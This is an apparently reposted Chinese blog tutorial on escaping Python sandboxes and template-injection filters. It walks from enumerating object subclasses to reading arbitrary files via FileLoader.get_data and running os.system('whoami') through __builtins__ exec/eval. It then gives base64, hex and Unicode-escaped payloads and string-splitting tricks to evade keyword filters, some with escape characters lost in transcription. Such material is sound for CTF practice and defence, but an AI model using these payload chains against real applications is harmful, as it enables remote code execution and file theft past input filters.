基礎知識&基本操作
基本魔術方法
print(''.__class__.__mro__) #獲取類繼承鏈
print(''.__class__.__bases__) #獲取父類(python支持多繼承),返回值是元組形式
print(''.__class__.__base__) #獲取基類[單個回顯]
print(''.__class__.__subclasses__()) #獲取該類的所有子類
#__dict__ 返回所有屬性,包括屬性,方法等
#__init__ 類實例創(chuàng)建之后調(diào)用, 對當前對象的實例的一些初始化
獲取子類
#打印Object類的所有子類
for i in range(0,200):
try:
thing=''.__class__.__bases__[0].__subclasses__()[i]
print(i,' ',thing)
except:
Exception
獲取全局函數(shù)
#尋找具有__globals__屬性的類.
#只有被重載的類才有該屬性。
#使用__init__初始化后,帶有“wrapper”的說明沒有被重載。
#Object本身沒有被重載;從它的子類找。
for i in range(200):
try:
thing=str([].__class__.__base__.__subclasses__()[i].__init__)
if 'wrapper' not in thing:
print(i,' ',[].__class__.__base__.__subclasses__()[i])
except:
Exception
文件讀取
#使用_frozen_importlib_external.FileLoader類進行文件讀取
#這里我不太會查python文檔之類的,只能用__dict__看這個類的所有屬性,之后找看起來能用的試。
print([].__class__.__base__.__subclasses__()[100].__dict__)
#最后就找到了一個get_data,用法有個參數(shù)還沒搞明白
print([].__class__.__base__.__subclasses__()[100].get_data('任意值','C:/Users/Dell/Downloads/app.py'))
尋找命令執(zhí)行
#嘗試尋找命令執(zhí)行
#結果沒找到eval方法,有幾個類里有exec,但并沒有exec方法(實際上是exec_method)。
for i in range(200):
try:
thing=str([].__class__.__base__.__subclasses__()[i].__dict__)
if ('wrapper' not in thing)and(('eval' in thing)or('exec' in thing)):
print(i,' ',[].__class__.__base__.__subclasses__()[i])
print(i, ' ', [].__class__.__base__.__subclasses__()[i].__dict__)
except:
Exception
#轉換思路;之前一直看的是python自帶的類(Object及其子類)中的方法;
#現(xiàn)在,來看看內(nèi)置函數(shù)。
#通過__init__.__globals__['__builtins__']查看初始化時即導入的內(nèi)置函數(shù)。從哪個類進去都一樣。
#這里面一般是有eval和exec的。
print([].__class__.__base__.__subclasses__()[135])
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[40].__init__)
thing=str([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__'])
if ('eval' in thing)and('exec' in thing):
print('exist')
#eval和exec在返回值上有一些區(qū)別,此處先忽略.
#只要知道他能將字符串當成代碼執(zhí)行就行了。
#使用__import__動態(tài)包含模塊,然后調(diào)函數(shù)即可。
#結合之前的內(nèi)容,就搞出了一種常見payload
print(eval('__import__("os").system("whoami")'))
print(exec('__import__("os").system("whoami")'))
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))
繞過姿勢
以下繞過,均以
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))
為例進行修改。
編碼繞過
payload中引號內(nèi)的(即字符串類型的數(shù)據(jù)),在調(diào)用的時候都可以使用編碼繞過。
函數(shù)繞過
測試的時候需要外部庫base64,感覺不太好用。
#python生成base64信息的樣例
import base64
print(base64.b64encode('__builtins__'.encode()))
#樣例payload;感覺真的不好用。
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__[base64.b64decode('X19idWlsdGluc19f'.encode()).decode()][base64.b64decode('ZXhlYw=='.encode()).decode()](base64.b64decode('X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIp'.encode()).decode())
字節(jié)碼繞過
python中的.encode()
對于可見的ascii字符不會輸出其字節(jié)碼,所以還得自己寫轉化。
#純字節(jié)碼的轉化樣例
x='__import__("os").system("whoami")'
y=''
for i in range(len(x)):
y+='\x'+(hex(ord(x[i]))[2:])
print(y)
#樣例payload
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__['x5fx5fx62x75x69x6cx74x69x6ex73x5fx5f']['x65x76x61x6c']('x5fx5fx69x6dx70x6fx72x74x5fx5fx28x22x6fx73x22x29x2ex73x79x73x74x65x6dx28x22x77x68x6fx61x6dx69x22x29')
Unicode繞過
跟字節(jié)碼繞過差不多,但挺新奇的。
生成時,將\x
改為\u00
即可。
舉例:x65x76x61x6c
變?yōu)?code>u0065u0076u0061u006c
python默認支持Unicode;基本已經(jīng)不采用它的原因是一般情況下前兩位都是00,太浪費空間了。
拼接類繞過
以過濾flag
為例:
join函數(shù)拼接:("fla".join("/g"))
注釋拼接:fl''ag fl""ag
其他繞過&組合繞過
https://xz.aliyun.com/t/11090#toc-10
自己看吧。
本文摘自 :https://www.cnblogs.com/